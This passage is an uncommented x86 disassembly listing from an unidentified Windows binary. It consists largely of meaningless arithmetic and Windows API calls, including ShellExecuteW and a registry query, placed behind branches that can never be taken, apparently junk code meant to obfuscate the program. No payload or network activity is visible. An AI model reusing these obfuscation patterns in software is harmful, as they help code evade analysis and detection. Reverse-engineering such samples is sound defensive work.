mov dword [ebp - 0x28], eax
push 0xfffffffffffffffc
pop ecx
cmp dword [ebp - 0x28], ebx
jge 0x1002d3ff
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0xe54], ecx
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], ebx
jl 0x1002d3eb
xor eax, eax
mov dword [ebp - 0x2c], eax
jmp 0x1002d4b8
mov dword [ebp - 0x1c], 0xa12b57e8
mov dword [ebp - 0x3c], 2
mov dword [ebp - 0x3c], 0x95768819
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x34], esi
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], edi
jne 0x1002d4b5
mov dword [ebp - 0x30], 0x5b7cefa9
mov dword [ebp - 0x40], 0x8b8ae505
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0x13
jl 0x1002d471
mov byte [ebp - 0x41], al
cmp byte [ebp - 0x41], 0
je 0x1002d465
push 0xd77
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDlgItem]
xor eax, eax
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], 0x13
jge 0x1002d448
push 0xfffffffffffffffc
pop ecx
mov eax, dword [ebp - 0x40]
xor eax, eax
cmp dword [ebp - 0x10], eax
jne 0x1002d483
cmp dword [ebp - 0x10], edi
jge 0x1002d483
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x1c]
imul eax, dword [ebp - 0x30], 0xae50
test eax, eax
jne 0x1002d494
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x38]
dec dword [ebp - 0xe50]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x40], eax
inc dword [ebp - 0x1c]
push 0
pop eax
cmp dword [ebp - 0x1c], edi
je 0x1002d42e
dec dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 0xffffffe8
jg 0x1002d407
mov dword [ebp - 0x40], 0xd32f
mov dword [ebp - 0x48], ecx
mov dword [ebp - 0x3c], 2
mov dword [ebp - 0x34], 0xe86f8c7b
mov dword [ebp - 0x3c], 0xde03
mov dword [ebp - 0x3c], 0x7e780ca9
mov dword [ebp - 0x3c], 0xc9214a9b
mov dword [ebp - 0x54], ecx
lea ecx, [ebp - 0xcc0]
mov dword [ebp - 0x38], edi
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x3c], 0x62858905
mov dword [ebp - 0x3c], 0xacc4b7c7
mov dword [ebp - 0x3c], 0x5e314a5e
push ebx
call fcn.10016406
mov byte [ebp - 4], 0x14
xor eax, eax
mov dword [ebp - 0x10], 0xe119
mov dword [ebp - 0x50], 0x18a8
mov dword [ebp - 0x28], eax
jmp 0x1002d549
push dword [ebp - 0x28]
lea ecx, [ebp - 0xcc0]
call fcn.100164a4
mov dword [eax], 0xfffffffc
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], ebx
jl 0x1002d532
mov eax, dword [ebp - 0x10]
dec dword [ebp - 0x10]
test eax, eax
je 0x1002d565
mov eax, dword [ebp - 0x34]
mov edx, edi
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x38]
jmp 0x1002d569
xor eax, eax
mov edx, eax
mov eax, dword [ebp - 0x48]
xor ecx, ecx
cmp eax, edx
mov eax, dword [ebp - 0x54]
push edi
setg cl
xor ebx, ebx
cmp ecx, eax
lea ecx, [ebp - 0xcc0]
setle bl
call fcn.100164a4
mov edx, dword [ebp - 0x40]
xor ecx, ecx
imul edx, ebx
mov dword [eax], ebx
mov eax, dword [ebp - 0x50]
cmp edx, eax
setne cl
mov dword [ebp - 0x34], ecx
lea ecx, [ebp - 0xcc0]
mov byte [ebp - 4], 0xd
call fcn.10016488
xor eax, eax
mov byte [ebp - 0x41], al
mov dword [ebp - 0x1c], 0xf43b7c7c
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], edi
jge 0x1002d5dc
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0x3b8], 0xea5d
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], edi
jl 0x1002d5c4
xor eax, eax
mov dword [ebp - 0x1c], eax
jmp 0x1002d5ee
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x3b8], esi
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edi
jl 0x1002d5e1
mov edx, dword [ebp - 0x3b8]
mov eax, dword [ebp - 0x38]
neg edx
sbb edx, edx
xor ecx, ecx
neg edx
cmp edx, eax
setl cl
mov dword [ebp - 0x1c], ecx
cmp byte [ebp - 0x41], al
je 0x1002d7c2
push 2
lea ecx, [ebp - 0x1c4]
call fcn.10016406
mov byte [ebp - 4], 0x15
xor eax, eax
mov dword [ebp - 0x20], 0x13532fe2
mov dword [ebp - 0x34], 0xa0bdbdf7
mov dword [ebp - 0x38], 0x5d177cce
mov dword [ebp - 0x38], 0xfffffff6
mov dword [ebp - 0x3c], 4
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 2
jge 0x1002d673
push dword [ebp - 0x28]
lea ecx, [ebp - 0x1c4]
call fcn.100164a4
mov dword [eax], 7
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 2
jl 0x1002d654
xor eax, eax
mov dword [ebp - 0x20], edi
cmp dword [ebp - 0x20], eax
jl 0x1002d7aa
mov dword [ebp - 0x48], 0x8db370cc
cmp dword [ebp - 0x34], 0x95da
je 0x1002d745
push dword [ebp - 0x20]
lea ecx, [ebp - 0x1c4]
call fcn.100164a4
mov esi, dword [ebp - 0x20]
lea ecx, [ebp - 0x1c4]
sub esi, dword [eax]
neg esi
sbb esi, esi
xor eax, eax
push eax
inc esi
call fcn.100164a4
cmp esi, dword [eax]
jle 0x1002d6d4
push dword [ebp - 0x20]
lea ecx, [ebp - 0x1c4]
call fcn.100164a4
cmp dword [eax], 0
jne 0x1002d6d4
xor eax, eax
jmp 0x1002d6d6
mov eax, edi
mov dword [ebp - 0x38], eax
xor eax, eax
cmp dword [ebp - 0x38], eax
jne 0x1002d6ee
push dword [ebp - 0x20]
lea ecx, [ebp - 0x1c4]
call fcn.100164a4
push edi
lea ecx, [ebp - 0x1c4]
call fcn.100164a4
push dword [ebp - 0x20]
lea ecx, [ebp - 0x1c4]
call fcn.100164a4
mov esi, dword [ebp - 0x20]
lea ecx, [ebp - 0x1c4]
push dword [ebp - 0x20]
add esi, dword [eax]
call fcn.100164a4
push dword [ebp - 0x20]
xor ebx, ebx
lea ecx, [ebp - 0x1c4]
cmp esi, dword [eax]
setl bl
call fcn.100164a4
xor ecx, ecx
cmp ebx, dword [eax]
setne cl
cmp ecx, 0x4498b94b
je 0x1002d745
xor eax, eax
mov esi, eax
jmp 0x1002d747
mov esi, edi
push dword [ebp - 0x20]
lea ecx, [ebp - 0x1c4]
call fcn.100164a4
push dword [ebp - 0x20]
cmp esi, 0xfff8
sbb ecx, ecx
xor ebx, ebx
neg ecx
cmp dword [eax], ecx
lea ecx, [ebp - 0x1c4]
setne bl
call fcn.100164a4
mov ecx, dword [ebp - 0x48]
xor edx, edx
push dword [ebp - 0x20]
add ecx, ebx
cmp dword [eax], ecx
lea ecx, [ebp - 0x1c4]
setl dl
xor ebx, ebx
cmp edx, 0xfffffff9
setg bl
call fcn.100164a4
mov eax, dword [eax]
imul eax, ebx
mov dword [ebp - 0x38], eax
dec dword [ebp - 0x20]
jns 0x1002d67f
or esi, 0xffffffff
lea ecx, [ebp - 0x1c4]
mov byte [ebp - 4], 0xd
call fcn.10016488
xor eax, eax
push eax
call dword [sym.imp.COMDLG32.dll_GetOpenFileNameW]
mov dword [ebp - 0x1c], 0xbf34
xor eax, eax
mov dword [ebp - 0x30], 6
mov dword [ebp - 0x2c], 0xfffffff9
mov dword [ebp - 0x38], esi
mov dword [ebp - 0x28], eax
jmp 0x1002d7f2
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0x688], 0
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 3
jl 0x1002d7e1
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x2c], eax
xor eax, eax
cmp dword [ebp - 0x2c], eax
jne 0x1002d80e
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x1c]
xor edx, edx
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x680], edi
mov eax, dword [ebp - 0x30]
imul eax, dword [ebp - 0x1c]
sub eax, dword [ebp - 0x1c]
mov dword [ebp - 0x38], eax
mov ecx, dword [ebp - 0x38]
mov eax, dword [ebp - 0x30]
cmp ecx, eax
setg dl
xor ecx, ecx
add edx, dword [ebp - 0x2c]
imul edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x2c]
cmp edx, eax
mov eax, dword [ebp - 0x30]
mov esi, dword [ebp - 0x2c]
setle cl
mov dword [ebp - 0x680], esi
xor edx, edx
cmp ecx, 0xc63b
setl dl
xor ebx, ebx
cmp edx, eax
mov eax, dword [ebp - 0x1c]
setl bl
neg ebx
neg ebx
sbb ebx, ebx
xor ecx, ecx
neg ebx
cmp eax, 0xfffffff6
mov eax, dword [ebp - 0x2c]
setne cl
xor edx, edx
cmp eax, ecx
setne dl
xor eax, eax
cmp ebx, 0x983c
setl al
xor ebx, ebx
xor ecx, ecx
inc ebx
cmp eax, ebx
setle cl
xor eax, eax
cmp edx, ecx
setge al
cmp esi, eax
jge 0x1002d8dd
mov dword [ebp - 0xd6c], ebx
mov eax, 0x5bc9807
mov dword [ebp - 0xd68], ebx
mov dword [ebp - 0xd64], ebx
mov dword [ebp - 0xd60], ebx
mov dword [ebp - 0x680], eax
mov dword [ebp - 0xd60], eax
mov eax, dword [ebp - 0x680]
mov dword [ebp - 0x680], eax
jmp 0x1002d8ee
xor eax, eax
mov byte [ebp - 0x41], al
cmp byte [ebp - 0x41], al
je 0x1002d8f0
push eax
call dword [sym.imp.GDI32.dll_CreateRectRgnIndirect]
xor eax, eax
mov dword [ebp - 0x10], 0xfffffff7
mov esi, 0xf888c554
cmp dword [ebp - 0x10], 0xffffffed
jg 0x1002f45c
jmp 0x1002d90a
xor eax, eax
mov dword [ebp - 0x18], eax
or edi, 0xffffffff
mov dword [ebp - 0x38], 0x7383cc47
mov ecx, eax
mov dword [ebp - 0x30], 0x3de81d53
mov dword [ebp - 0x38], 0xb4b72b41
mov dword [ebp - 0x38], edi
mov dword [ebp - 0x28], edi
cmp dword [ebp - 0x18], eax
je 0x1002d934
mov ecx, ebx
mov eax, dword [ebp - 0x18]
add eax, ecx
imul eax, eax, 0xfffffff6
test eax, eax
jne 0x1002d943
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
cmp esi, eax
sbb eax, eax
xor ecx, ecx
inc eax
cmp eax, 0xf069
setl cl
xor eax, eax
add ecx, dword [ebp - 0x30]
add ecx, dword [ebp - 0x18]
cmp ecx, 0x24b6749e
setne al
cmp eax, 0xb65cab43
jne 0x1002d976
xor eax, eax
mov edx, eax
cmp dword [ebp - 0x18], eax
je 0x1002d978
mov edx, ebx
mov eax, dword [ebp - 0x18]
xor ecx, ecx
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x18]
cmp edx, eax
mov eax, dword [ebp - 0x18]
setne cl
xor edx, edx
cmp ecx, eax
setge dl
imul eax, dword [ebp - 0x38], 0xafd0
xor ecx, ecx
add edx, eax
mov eax, dword [ebp - 0x18]
cmp eax, edx
setge cl
xor edx, edx
mov dword [ebp - 0x38], ecx
mov ecx, dword [ebp - 0x38]
mov eax, dword [ebp - 0x18]
cmp ecx, eax
mov eax, dword [ebp - 0x30]
setl dl
xor ecx, ecx
cmp edx, eax
setne cl
mov dword [ebp - 0x38], ecx
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x18], eax
xor eax, eax
mov byte [ebp - 0x41], al
cmp byte [ebp - 0x41], al
je 0x1002d9fe
push eax
push 0xf88
push 0x1f3a
push eax
call dword [sym.imp.GDI32.dll_GetPaletteEntries]
xor eax, eax
mov dword [ebp - 0x40], 0x7013dce9
lea ecx, [ebp - 0xf68]
mov dword [ebp - 0x770], eax
mov dword [ebp - 0x76c], eax
mov dword [ebp - 0x768], eax
mov dword [ebp - 0x764], eax
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x3c], 0x4e62b500
push 3
call fcn.10016406
mov byte [ebp - 4], 0x16
xor eax, eax
mov dword [ebp - 0x3c], ebx
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 3
jge 0x1002da61
push dword [ebp - 0x28]
lea ecx, [ebp - 0xf68]
call fcn.100164a4
mov dword [eax], ebx
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 3
jl 0x1002da46
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 3
jg 0x1002dc66
jmp 0x1002da72
xor eax, eax
mov dword [ebp - 0x3c], 0xb467bb1a
mov ecx, 0xfffd
mov dword [ebp - 0x3c], 0xde6eab3a
mov dword [ebp - 0x3c], 0xc5c3c3ae
mov dword [ebp - 0x3c], 0xcf7a0211
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x3c], edi
mov dword [ebp - 0x8f4], ecx
mov dword [ebp - 0x8f0], ecx
mov dword [ebp - 0x8ec], ecx
mov dword [ebp - 0x8e8], ecx
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 3
jge 0x1002dad3
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x884], 0x5f0b101a
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 3
jl 0x1002daba
xor eax, eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 3
jge 0x1002daf5
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x13a0], 0xfffffffa
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 3
jl 0x1002dadc
xor eax, eax
mov byte [ebp - 0x41], al
cmp byte [ebp - 0x41], 0
je 0x1002db1c
push 0x2443
push 0xd86
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetPixel]
mov ecx, dword [ebp - 0x884]
mov eax, dword [ebp - 0x18]
imul ecx, eax
cmp ecx, dword [ebp - 0x884]
jge 0x1002db7f
mov ecx, dword [ebp - 0x768]
mov eax, dword [ebp - 0x18]
neg ecx
sbb ecx, ecx
xor edx, edx
neg ecx
cmp ecx, eax
mov eax, dword [ebp - 0x18]
setl dl
xor ecx, ecx
cmp edx, eax
setle cl
imul ecx, dword [ebp - 0x18]
test ecx, ecx
jne 0x1002db5e
mov eax, dword [ebp - 0x884]
xor eax, eax
cmp dword [ebp - 0x884], eax
je 0x1002db6b
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x768]
xor eax, eax
cmp dword [ebp - 0x768], eax
je 0x1002db81
mov ecx, ebx
jmp 0x1002db83
xor eax, eax
mov ecx, eax
mov eax, dword [ebp - 0x18]
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x18]
sete dl
xor ecx, ecx
cmp eax, edx
setge cl
sub ecx, 6
je 0x1002dbdc
mov dword [ebp - 0x40], ebx
xor eax, eax
mov dword [ebp - 0x40], 2
cmp dword [ebp - 0x40], eax
jl 0x1002dc54
xor ebx, ebx
mov byte [ebp - 0x41], bl
cmp byte [ebp - 0x41], bl
je 0x1002dbd2
push 0x232a
push 0x5a1
push ebx
push 0x98
push ebx
call dword [sym.imp.USER32.dll_GetMenuStringW]
dec dword [ebp - 0x40]
jns 0x1002dbb3
xor ebx, ebx
inc ebx
jmp 0x1002dc54
movdqa xmm0, xmmword [0x10007c80]
lea eax, [ebp - 0x10f8]
push eax
lea eax, [ebp - 0x1108]
push eax
lea ecx, [ebp - 0x1240]
movdqu xmmword [ebp - 0x1108], xmm0
call fcn.100164b3
lea ecx, [ebp - 0x226]
mov esi, eax
call fcn.10008ec3
push eax
push dword [esi + 4]
lea ecx, [ebp - 0x1164]
push dword [esi]
call fcn.10016462
xor eax, eax
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x28], eax
jmp 0x1002dc3e
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0xd80], 0
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], ebx
jl 0x1002dc2d
dec dword [ebp - 0x8f0]
lea ecx, [ebp - 0x1164]
call fcn.10016488
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 3
jle 0x1002da70
mov esi, 0xf888c554
lea ecx, [ebp - 0xf68]
mov byte [ebp - 4], 0xd
call fcn.10016488
xor eax, eax
mov dword [ebp - 0x18], eax
mov ecx, eax
mov dword [ebp - 0x38], 0x7383cc47
mov dword [ebp - 0x30], 0x3de81d53
mov dword [ebp - 0x38], 0xb4b72b41
mov dword [ebp - 0x38], edi
mov dword [ebp - 0x28], edi
cmp dword [ebp - 0x18], eax
je 0x1002dc9e
mov ecx, ebx
mov eax, dword [ebp - 0x18]
add eax, ecx
imul eax, eax, 0xfffffff6
test eax, eax
jne 0x1002dcad
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
cmp esi, eax
sbb eax, eax
xor ecx, ecx
inc eax
cmp eax, 0xf069
setl cl
xor eax, eax
add ecx, dword [ebp - 0x30]
add ecx, dword [ebp - 0x18]
cmp ecx, 0x24b6749e
setne al
cmp eax, 0xb65cab43
jne 0x1002dce0
xor eax, eax
mov edx, eax
cmp dword [ebp - 0x18], eax
je 0x1002dce2
mov edx, ebx
mov eax, dword [ebp - 0x18]
xor ecx, ecx
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x18]
cmp edx, eax
mov eax, dword [ebp - 0x18]
setne cl
xor edx, edx
cmp ecx, eax
setge dl
imul eax, dword [ebp - 0x38], 0xafd0
xor ecx, ecx
add edx, eax
mov eax, dword [ebp - 0x18]
cmp eax, edx
setge cl
xor edx, edx
mov dword [ebp - 0x38], ecx
mov ecx, dword [ebp - 0x38]
mov eax, dword [ebp - 0x18]
cmp ecx, eax
mov eax, dword [ebp - 0x30]
setl dl
xor ecx, ecx
cmp edx, eax
setne cl
mov dword [ebp - 0x38], ecx
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x18], eax
xor eax, eax
mov byte [ebp - 0x41], al
cmp byte [ebp - 0x41], al
je 0x1002dd68
push eax
push 0xf88
push 0x1f3a
push eax
call dword [sym.imp.GDI32.dll_GetPaletteEntries]
xor eax, eax
mov byte [ebp - 0x11], al
lea ecx, [ebp - 0x89c]
push 3
call fcn.10016406
mov byte [ebp - 4], 0x17
xor eax, eax
mov dword [ebp - 0x2c], 0xfffffff8
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 3
jge 0x1002ddad
push dword [ebp - 0x24]
lea ecx, [ebp - 0x89c]
call fcn.100164a4
mov dword [eax], 0x4778
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 3
jl 0x1002dd8e
xor eax, eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 2
jge 0x1002ddcb
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0xb0], ebx
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 2
jl 0x1002ddb6
xor eax, eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 4
jge 0x1002dded
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x1028], 0x79ebef9f
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 4
jl 0x1002ddd4
xor eax, eax
mov dword [ebp - 0xac], eax
cmp dword [ebp - 0xac], 2
jg 0x1002e022
mov dword [ebp - 0x50], 0xc0001115
lea ecx, [ebp - 0x694]
mov dword [ebp - 0x1c], 0xfffffffb
mov dword [ebp - 0x40], 0xddbf4df7
mov dword [ebp - 0x38], 0x7a7bf748
push ebx
call fcn.10016406
push 3
lea ecx, [ebp - 0x570]
mov byte [ebp - 4], 0x18
call fcn.10016406
xor eax, eax
mov byte [ebp - 4], 0x19
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], ebx
jge 0x1002de65
push dword [ebp - 0x24]
lea ecx, [ebp - 0x694]
call fcn.100164a4
mov dword [eax], 0x9ef8169c
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], ebx
jl 0x1002de47
xor eax, eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 3
jge 0x1002de8d
push dword [ebp - 0x24]
lea ecx, [ebp - 0x570]
call fcn.100164a4
mov dword [eax], 0xa5c1b09c
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 3
jl 0x1002de6e
xor eax, eax
mov dword [ebp - 0x24], eax
jmp 0x1002de9f
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x724], edi
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], ebx
jl 0x1002de92
mov eax, dword [ebp - 0x1c]
xor edx, edx
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x40], eax
mov ecx, dword [ebp - 0xac]
mov eax, dword [ebp - 0xac]
cmp ecx, eax
mov eax, dword [ebp - 0x1c]
setne dl
xor ecx, ecx
cmp edx, eax
setl cl
xor eax, eax
mov dword [ebp - 0x38], ecx
lea ecx, [ebp - 0x694]
push eax
call fcn.100164a4
mov edx, dword [ebp - 0x38]
mov esi, eax
mov ecx, dword [ebp - 0xac]
sub edx, 0x26b5cfda
neg edx
push 2
sbb edx, edx
xor eax, eax
inc edx
add edx, ecx
mov ecx, dword [ebp - 0x40]
cmp ecx, edx
setle al
xor ecx, ecx
cmp eax, dword [esi]
setne cl
mov dword [ebp - 0x1024], ecx
mov dword [ebp - 0x38], ecx
lea ecx, [ebp - 0x89c]
call fcn.100164a4
mov ecx, dword [ebp - 0x1c]
xor ebx, ebx
cmp ecx, dword [ebp - 0x38]
lea ecx, [ebp - 0x694]
setg bl
sub ebx, dword [eax]
xor eax, eax
push eax
call fcn.100164a4
mov ecx, dword [ebp - 0xac]
add ecx, ebx
mov dword [eax], ecx
lea ecx, [ebp - 0x694]
mov eax, dword [ebp - 0xb0]
mov eax, dword [ebp - 0x40]
inc dword [ebp - 0x50]
mov eax, dword [ebp - 0x50]
xor eax, eax
push eax
call fcn.100164a4
mov ecx, dword [ebp - 0x1c]
xor edx, edx
cmp dword [eax], ecx
lea ecx, [ebp - 0x89c]
setle dl
xor ebx, ebx
sub edx, 0x298c245e
inc ebx
mov dword [ebp - 0x2c], edx
push ebx
call fcn.100164a4
mov ecx, dword [ebp - 0x2c]
xor edx, edx
push 2
cmp dword [eax], ecx
mov eax, dword [ebp - 0x1c]
setne dl
xor ecx, ecx
cmp edx, eax
setle cl
mov dword [ebp - 0x1c], ecx
lea ecx, [ebp - 0x570]
mov eax, dword [ebp - 0x1c]
call fcn.100164a4
push 2
lea ecx, [ebp - 0x570]
call fcn.100164a4
push 2
lea ecx, [ebp - 0x570]
call fcn.100164a4
mov eax, dword [ebp - 0xac]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x724], eax
test eax, eax
je 0x1002dfe0
xor eax, eax
cmp dword [ebp - 0x1024], eax
je 0x1002dfe2
mov esi, ebx
jmp 0x1002dfe4
xor eax, eax
mov esi, eax
push 2
lea ecx, [ebp - 0x570]
call fcn.100164a4
lea ecx, [ebp - 0x570]
mov dword [eax], esi
call fcn.10016488
lea ecx, [ebp - 0x694]
mov byte [ebp - 4], 0x17
call fcn.10016488
inc dword [ebp - 0xac]
cmp dword [ebp - 0xac], 2
jle 0x1002de00
xor eax, eax
mov dword [ebp - 0x2c], 0xe
jmp 0x1002e053
mov dword [ebp - 0xb0], ebx
mov byte [ebp - 0x41], al
cmp byte [ebp - 0x41], 0
je 0x1002e050
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_EndDoc]
xor eax, eax
dec dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], edi
jl 0x1002e02b
lea ecx, [ebp - 0x89c]
mov byte [ebp - 4], 0xd
call fcn.10016488
cmp byte [ebp - 0x11], 0
push 0xfffffffffffffff6
pop esi
je 0x1002e0c7
mov dword [ebp - 0x28], 0xfffffffb
xor eax, eax
mov dword [ebp - 0x3c], 0xb546158d
mov dword [ebp - 0x28], eax
jmp 0x1002e0af
mov dword [ebp - 0x38], ebx
mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], 0
je 0x1002e0a9
push 0x11d9
push eax
push eax
push eax
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
xor eax, eax
dec dword [ebp - 0x38]
dec dword [ebp - 0x28]
cmp dword [ebp - 0x28], esi
jl 0x1002e085
mov edi, dword [sym.imp.USER32.dll_GetDesktopWindow]
push ebx
call edi
push eax
call dword [sym.imp.USER32.dll_GetSystemMenu]
or edi, 0xffffffff
mov dword [ebp - 0x50], 0x49fe387
xor eax, eax
mov dword [ebp - 0x38], 0x971c1ec2
mov dword [ebp - 0x38], 0x84b81147
mov dword [ebp - 0x40], 4
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x48], 5
inc dword [ebp - 0x38]
cmp dword [ebp - 0x34], eax
jne 0x1002e112
mov eax, dword [ebp - 0x34]
mov ecx, ebx
xor eax, eax
cmp dword [ebp - 0x40], eax
jne 0x1002e105
mov ecx, eax
xor eax, eax
test ecx, ecx
setg al
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x50], ebx
mov eax, dword [ebp - 0x40]
sub eax, dword [ebp - 0x50]
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x40], eax
jne 0x1002e148
xor eax, eax
cmp dword [ebp - 0x50], eax
jne 0x1002e14a
mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], al
je 0x1002e16d
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyW]
jmp 0x1002e16b
xor eax, eax
mov dword [ebp - 0x28], eax
jmp 0x1002e15c
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0x11d0], ebx
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 3
jl 0x1002e14f
mov eax, dword [ebp - 0x11c8]
mov dword [ebp - 0x48], eax
xor eax, eax
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], esi
je 0x1002f44a
jmp 0x1002e180
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x2c], 0x5043
mov dword [ebp - 0x50], 0x6f3f17e2
mov dword [ebp - 0x30], 0xb0a3531
mov dword [ebp - 0x38], 2
mov dword [ebp - 0x28], eax
jmp 0x1002e1b5
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0x510], 0
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 3
jl 0x1002e1a4
mov ecx, dword [ebp - 0x1c]
xor edx, edx
mov eax, dword [ebp - 0x1c]
cmp ecx, eax
setge dl
mov dword [ebp - 0x50], edx
xor edx, edx
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x2c]
sub ecx, 0xecf4
cmp ecx, eax
mov eax, dword [ebp - 0x1c]
setle dl
xor ecx, ecx
cmp eax, edx
setne cl
xor edx, edx
imul ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x30], ecx
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x510], ebx
mov dword [ebp - 0x508], ebx
mov ecx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x50]
cmp eax, ecx
mov ecx, 0xfff8
setg dl
xor eax, eax
cmp edx, ebx
setge al
cmp ecx, eax
sbb eax, eax
inc eax
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x38]
mov ecx, dword [ebp - 0x30]
sub ecx, eax
neg ecx
sbb ecx, ecx
inc ecx
cmp ecx, dword [ebp - 0x2c]
jge 0x1002e240
dec dword [ebp - 0x10]
mov esi, 0xf888c554
cmp dword [ebp - 0x10], 0xffffffed
jle 0x1002d908
lea ecx, [ebp - 0xa38]
call fcn.10016488
or eax, 0xffffffff
lea ecx, [ebp - 0xf24]
mov dword [ebp - 4], eax
call fcn.10016488
mov esi, dword [sym.imp.KERNEL32.dll_SetThreadLocale]
or ecx, 0xffffffff
mov dword [ebp - 0x20], 0xe0648261
mov edi, 0xf20077fe
mov dword [ebp - 0x30], 0x7ae9f903
mov dword [ebp - 0x48], ecx
mov dword [ebp - 0x20], 0xffffffeb
cmp dword [ebp - 0x20], 0xffffffe2
jge 0x1002f57c
mov dword [ebp - 0x18], 0xfd43ddca
mov edx, ebx
mov dword [ebp - 0x38], 0xf9e6a012
